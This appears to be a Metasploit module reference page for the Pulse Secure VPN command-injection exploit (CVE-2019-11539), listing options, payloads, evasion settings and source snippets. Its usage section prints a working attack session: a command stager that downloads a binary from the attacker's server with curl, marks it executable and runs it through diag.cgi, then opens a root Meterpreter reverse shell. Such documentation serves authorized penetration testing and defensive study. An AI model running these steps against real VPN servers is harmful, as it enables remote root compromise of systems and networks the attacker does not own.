Pulse Secure VPN Arbitrary Command Execution - Metasploit
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Module Overview
Name: Pulse Secure VPN Arbitrary Command Execution
Module: exploit/linux/http/pulse_secure_cmd_exec
Source code: modules/exploits/linux/http/pulse_secure_cmd_exec.rb
Disclosure date: 2019-04-24
Last modification time: 2020-04-20 20:06:52 +0000
Supported architecture(s): cmd, x86, x64
Supported platform(s): Linux, Unix
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2019-11539
This module exploits a post-auth command injection in the Pulse Secure VPN server to execute commands as root. The env(1) command is used to bypass application whitelisting and run arbitrary commands. Please see related module auxiliary/gather/pulse_secure_file_disclosure for a pre-auth file read that is able to obtain plaintext and hashed credentials, plus session IDs that may be used with this exploit. A valid administrator session ID is required in lieu of untested SSRF.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Reliability:
- repeatable-session: The module is expected to get a shell every time it runs.
Stability:
- crash-safe: Module should not crash the service.
Side Effects:
- ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).
- artifacts-on-disk: Modules leaves a payload or a dropper on the target machine.
Basic Usage
msf > use exploit/linux/http/pulse_secure_cmd_exec
msf exploit(pulse_secure_cmd_exec) > exploit
Required Options
RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
CheckModule: Module to check with
SID: Valid admin session ID
Knowledge Base
Introduction
This module exploits a post-auth command injection in the Pulse Secure
VPN server to execute commands as root. The env(1) command is used to
bypass application whitelisting and run arbitrary commands.
Please see related module auxiliary/gather/pulse_secure_file_disclosure
for a pre-auth file read that is able to obtain plaintext and hashed
credentials, plus session IDs that may be used with this exploit.
A valid administrator session ID is required in lieu of untested SSRF.
Targets
Id Name
-- ----
0 Unix In-Memory
1 Linux Dropper
Options
SID
Set this to a valid administrator session ID. Typically retrieved using
the auxiliary/gather/pulse_secure_file_disclosure module.
Usage
msf5 exploit(linux/http/pulse_secure_cmd_exec) > set sid 676f5f892e8c4a6419f10564f9e9d857
sid => 676f5f892e8c4a6419f10564f9e9d857
msf5 exploit(linux/http/pulse_secure_cmd_exec) > run
[*] Started reverse TCP handler on 127.0.0.1:[redacted]
[+] Setting session cookie: DSID=676f5f892e8c4a6419f10564f9e9d857
[*] Obtaining CSRF token
[+] CSRF token: 6b0e020e1de8c68c043ea0e4f663b7a5
[*] Executing Linux Dropper target
[*] Using URL: https://0.0.0.0:[redacted]/HSEjp77
[*] Local IP: https://[redacted]:[redacted]/HSEjp77
[*] Generated command stager: ["curl -kso /tmp/qlUqDxCU https://[redacted]:[redacted]/HSEjp77", "chmod +x /tmp/qlUqDxCU", "/tmp/qlUqDxCU", "rm -f /tmp/qlUqDxCU"]
[*] Executing command: env /home/bin/curl -kso /tmp/qlUqDxCU https://[redacted]:[redacted]/HSEjp77
[*] Yeeting exploit at https://[redacted]/dana-admin/diag/diag.cgi
[*] Triggering payload at https://[redacted]/dana-na/auth/setcookie.cgi
[*] Client 127.0.0.1 (curl/7.19.7 (i686-redhat-linux-gnu) libcurl/7.19.7 OpenSSL/1.0.1h zlib/1.2.3 libidn/1.18) requested /HSEjp77
[*] Sending payload to 127.0.0.1 (curl/7.19.7 (i686-redhat-linux-gnu) libcurl/7.19.7 OpenSSL/1.0.1h zlib/1.2.3 libidn/1.18)
[+] Payload execution successful
[*] Command Stager progress - 63.96% done (71/111 bytes)
[*] Executing command: env chmod +x /tmp/qlUqDxCU
[*] Yeeting exploit at https://[redacted]/dana-admin/diag/diag.cgi
[*] Triggering payload at https://[redacted]/dana-na/auth/setcookie.cgi
[+] Payload execution successful
[*] Command Stager progress - 87.39% done (97/111 bytes)
[*] Executing command: env /tmp/qlUqDxCU
[*] Yeeting exploit at https://[redacted]/dana-admin/diag/diag.cgi
[*] Triggering payload at https://[redacted]/dana-na/auth/setcookie.cgi
[*] Meterpreter session 1 opened (127.0.0.1:[redacted] -> 127.0.0.1:53200) at 2019-11-12 02:05:40 -0600
[!] Payload execution may have failed
[*] Command Stager progress - 102.70% done (114/111 bytes)
[*] Executing command: env rm -f /tmp/qlUqDxCU
[*] Yeeting exploit at https://[redacted]/dana-admin/diag/diag.cgi
[*] Triggering payload at https://[redacted]/dana-na/auth/setcookie.cgi
[+] Payload execution successful
[*] Command Stager progress - 123.42% done (137/111 bytes)
[*] Server stopped.
meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0
meterpreter > sysinfo
Computer : [redacted]
OS : (Linux 2.6.32-00486-gddd7e32-dirty)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter >
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Msfconsole Usage
Here is how the linux/http/pulse_secure_cmd_exec exploit module looks in the msfconsole:
msf6 > use exploit/linux/http/pulse_secure_cmd_exec
[*] Using configured payload linux/x64/meterpreter_reverse_tcp
msf6 exploit(linux/http/pulse_secure_cmd_exec) > show info
Name: Pulse Secure VPN Arbitrary Command Execution
Module: exploit/linux/http/pulse_secure_cmd_exec
Platform: Unix, Linux
Arch: cmd, x86, x64
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2019-04-24
Provided by:
Orange Tsai
Meh Chang
wvu <[email protected]>
Module side effects:
ioc-in-logs
artifacts-on-disk
Module stability:
crash-safe
Module reliability:
repeatable-session
Available targets:
Id Name
-- ----
0 Unix In-Memory
1 Linux Dropper
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 443 yes The target port (TCP)
SID yes Valid admin session ID
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL true no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
Payload information:
Description:
This module exploits a post-auth command injection in the Pulse
Secure VPN server to execute commands as root. The env(1) command is
used to bypass application whitelisting and run arbitrary commands.
Please see related module
auxiliary/gather/pulse_secure_file_disclosure for a pre-auth file
read that is able to obtain plaintext and hashed credentials, plus
session IDs that may be used with this exploit. A valid
administrator session ID is required in lieu of untested SSRF.
References:
https://nvd.nist.gov/vuln/detail/CVE-2019-11539
https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44101/
https://blog.orange.tw/2019/09/attacking-ssl-vpn-part-3-golden-pulse-secure-rce-chain.html
https://hackerone.com/reports/591295
Related modules:
auxiliary/gather/pulse_secure_file_disclosure
Module Options
This is a complete list of options available in the linux/http/pulse_secure_cmd_exec exploit:
msf6 exploit(linux/http/pulse_secure_cmd_exec) > show options
Module options (exploit/linux/http/pulse_secure_cmd_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 443 yes The target port (TCP)
SID yes Valid admin session ID
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL true no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
Payload options (linux/x64/meterpreter_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
1 Linux Dropper
Advanced Options
Here is a complete list of advanced options supported by the linux/http/pulse_secure_cmd_exec exploit:
msf6 exploit(linux/http/pulse_secure_cmd_exec) > show advanced
Module advanced options (exploit/linux/http/pulse_secure_cmd_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
CMDSTAGER::DECODER no The decoder stub to use.
CMDSTAGER::FLAVOR auto no The CMD Stager to use. (Accepted: auto, bourne, debug_asm, debug_write, echo, printf, vbs, vbs_adodb, certutil, tftp, wget, curl, fetch, lwprequest, psh_i
nvokewebrequest)
CMDSTAGER::SSL true no Use SSL/TLS for supported stagers
CMDSTAGER::TEMP no Writable directory for staged files
CheckModule auxiliary/gather/pulse_secure_file_disclosure yes Module to check with
ContextInformationFile no The information file that contains context information
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
DisablePayloadHandler false no Disable the handler code for the selected payload
EXE::Custom no Use custom exe instead of automatically generating a payload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable template
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
ListenerComm no The specific communication channel to use for this service
MSI::Custom no Use custom msi instead of automatically generating a payload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
SSLCipher no String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
SSLCompression false no Enable SSL/TLS-level compression
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
SendRobots false no Return a robots.txt file if asked for one
URIHOST no Host to use in URI (useful for tunnels)
URIPORT no Port to use in URI (useful for tunnels)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (linux/x64/meterpreter_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the linux/http/pulse_secure_cmd_exec module can exploit:
msf6 exploit(linux/http/pulse_secure_cmd_exec) > show targets
Exploit targets:
Id Name
-- ----
0 Unix In-Memory
1 Linux Dropper
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the linux/http/pulse_secure_cmd_exec exploit:
msf6 exploit(linux/http/pulse_secure_cmd_exec) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/debug_trap normal No Generic x86 Debug Trap
2 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
3 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
4 payload/generic/tight_loop normal No Generic x86 Tight Loop
5 payload/linux/x64/exec normal No Linux Execute Command
6 payload/linux/x64/meterpreter/bind_tcp normal No Linux Mettle x64, Bind TCP Stager
7 payload/linux/x64/meterpreter/reverse_tcp normal No Linux Mettle x64, Reverse TCP Stager
8 payload/linux/x64/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
9 payload/linux/x64/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
10 payload/linux/x64/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
11 payload/linux/x64/pingback_bind_tcp normal No Linux x64 Pingback, Bind TCP Inline
12 payload/linux/x64/pingback_reverse_tcp normal No Linux x64 Pingback, Reverse TCP Inline
13 payload/linux/x64/shell/bind_tcp normal No Linux Command Shell, Bind TCP Stager
14 payload/linux/x64/shell/reverse_tcp normal No Linux Command Shell, Reverse TCP Stager
15 payload/linux/x64/shell_bind_ipv6_tcp normal No Linux x64 Command Shell, Bind TCP Inline (IPv6)
16 payload/linux/x64/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
17 payload/linux/x64/shell_bind_tcp_random_port normal No Linux Command Shell, Bind TCP Random Port Inline
18 payload/linux/x64/shell_reverse_ipv6_tcp normal No Linux x64 Command Shell, Reverse TCP Inline (IPv6)
19 payload/linux/x64/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
20 payload/linux/x86/adduser normal No Linux Add User
21 payload/linux/x86/chmod normal No Linux Chmod
22 payload/linux/x86/exec normal No Linux Execute Command
23 payload/linux/x86/meterpreter/bind_ipv6_tcp normal No Linux Mettle x86, Bind IPv6 TCP Stager (Linux x86)
24 payload/linux/x86/meterpreter/bind_ipv6_tcp_uuid normal No Linux Mettle x86, Bind IPv6 TCP Stager with UUID Support (Linux x86)
25 payload/linux/x86/meterpreter/bind_nonx_tcp normal No Linux Mettle x86, Bind TCP Stager
26 payload/linux/x86/meterpreter/bind_tcp normal No Linux Mettle x86, Bind TCP Stager (Linux x86)
27 payload/linux/x86/meterpreter/bind_tcp_uuid normal No Linux Mettle x86, Bind TCP Stager with UUID Support (Linux x86)
28 payload/linux/x86/meterpreter/reverse_ipv6_tcp normal No Linux Mettle x86, Reverse TCP Stager (IPv6)
29 payload/linux/x86/meterpreter/reverse_nonx_tcp normal No Linux Mettle x86, Reverse TCP Stager
30 payload/linux/x86/meterpreter/reverse_tcp normal No Linux Mettle x86, Reverse TCP Stager
31 payload/linux/x86/meterpreter/reverse_tcp_uuid normal No Linux Mettle x86, Reverse TCP Stager
32 payload/linux/x86/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
33 payload/linux/x86/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
34 payload/linux/x86/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
35 payload/linux/x86/metsvc_bind_tcp normal No Linux Meterpreter Service, Bind TCP
36 payload/linux/x86/metsvc_reverse_tcp normal No Linux Meterpreter Service, Reverse TCP Inline
37 payload/linux/x86/read_file normal No Linux Read File
38 payload/linux/x86/shell/bind_ipv6_tcp normal No Linux Command Shell, Bind IPv6 TCP Stager (Linux x86)
39 payload/linux/x86/shell/bind_ipv6_tcp_uuid normal No Linux Command Shell, Bind IPv6 TCP Stager with UUID Support (Linux x86)
40 payload/linux/x86/shell/bind_nonx_tcp normal No Linux Command Shell, Bind TCP Stager
41 payload/linux/x86/shell/bind_tcp normal No Linux Command Shell, Bind TCP Stager (Linux x86)
42 payload/linux/x86/shell/bind_tcp_uuid normal No Linux Command Shell, Bind TCP Stager with UUID Support (Linux x86)
43 payload/linux/x86/shell/reverse_ipv6_tcp normal No Linux Command Shell, Reverse TCP Stager (IPv6)
44 payload/linux/x86/shell/reverse_nonx_tcp normal No Linux Command Shell, Reverse TCP Stager
45 payload/linux/x86/shell/reverse_tcp normal No Linux Command Shell, Reverse TCP Stager
46 payload/linux/x86/shell/reverse_tcp_uuid normal No Linux Command Shell, Reverse TCP Stager
47 payload/linux/x86/shell_bind_ipv6_tcp normal No Linux Command Shell, Bind TCP Inline (IPv6)
48 payload/linux/x86/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
49 payload/linux/x86/shell_bind_tcp_random_port normal No Linux Command Shell, Bind TCP Random Port Inline
50 payload/linux/x86/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
51 payload/linux/x86/shell_reverse_tcp_ipv6 normal No Linux Command Shell, Reverse TCP Inline (IPv6)
Evasion Options
Here is the full list of possible evasion options supported by the linux/http/pulse_secure_cmd_exec exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(linux/http/pulse_secure_cmd_exec) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::chunked false no Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
HTTP::compression none no Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::junk_headers false no Enable insertion of random junk HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::no_cache false no Disallow the browser to cache HTTP content
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::server_name Apache yes Configures the Server header of all outgoing replies
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
TCP::max_send_size 0 no Maximum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
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Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Session cookie expired or invalid
Here is a relevant code snippet related to the "Session cookie expired or invalid" error message:
109: 'uri' => diag_cgi,
110: 'cookie' => @cookie
111: )
112:
113: unless res && res.code == 200 && (@csrf_token = parse_csrf_token(res.body))
114: fail_with(Failure::NoAccess, 'Session cookie expired or invalid')
115: end
116:
117: print_good("CSRF token: #{@csrf_token}")
118: end
119:
Could not yeet exploit
Here is a relevant code snippet related to the "Could not yeet exploit" error message:
141: 'toggle' => 'Start Sniffing'
142: }
143: )
144:
145: unless res && res.code == 200
146: fail_with(Failure::UnexpectedReply, 'Could not yeet exploit')
147: end
148:
149: print_status("Triggering payload at #{full_uri(setcookie_cgi)}")
150: res = send_request_cgi({
151: 'method' => 'GET',
500 Internal Error
Here is a relevant code snippet related to the "500 Internal Error" error message:
151: 'method' => 'GET',
152: 'uri' => setcookie_cgi
153: }, 3.1337)
154:
155: # 200 response code, yet 500 error in body
156: unless res && res.code == 200 && !res.body.include?('500 Internal Error')
157: print_warning('Payload execution may have failed')
158: return
159: end
160:
161: print_good('Payload execution successful')
Payload execution may have failed
Here is a relevant code snippet related to the "Payload execution may have failed" error message:
152: 'uri' => setcookie_cgi
153: }, 3.1337)
154:
155: # 200 response code, yet 500 error in body
156: unless res && res.code == 200 && !res.body.include?('500 Internal Error')
157: print_warning('Payload execution may have failed')
158: return
159: end
160:
161: print_good('Payload execution successful')
162:
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Related Pull Requests
- #13299 Merged Pull Request: Update my module documentation to the new standard
- #12517 Merged Pull Request: Refactor CheckScanner to CheckModule to generically support aux modules
- #12515 Merged Pull Request: Add Pulse Secure VPN arbitrary command execution
References
- CVE-2019-11539
- https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44101/
- https://blog.orange.tw/2019/09/attacking-ssl-vpn-part-3-golden-pulse-secure-rce-chain.html
- https://hackerone.com/reports/591295
See Also
Check also the following modules related to this module:
- exploit/linux/http/pulse_secure_gzip_rce
- auxiliary/gather/pulse_secure_file_disclosure
- post/windows/gather/credentials/pulse_secure
- exploit/windows/http/disk_pulse_enterprise_bof
- exploit/windows/http/disk_pulse_enterprise_get
- exploit/linux/games/ut2004_secure
- exploit/linux/http/imperva_securesphere_exec
- exploit/linux/http/microfocus_secure_messaging_gateway
- exploit/windows/games/ut2004_secure
- exploit/windows/ssh/securecrt_ssh1
- auxiliary/admin/networking/cisco_secure_acs_bypass
- auxiliary/scanner/http/wp_secure_copy_content_protection_sqli
- post/windows/gather/credentials/securecrt
Related Nessus plugins:
- Pulse Connect Secure Multiple Vulnerabilities (SA44101)
- Pulse Policy Secure Multiple Vulnerabilities (SA44101)
Authors
- Orange Tsai
- Meh Chang
- wvu
Version
This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.
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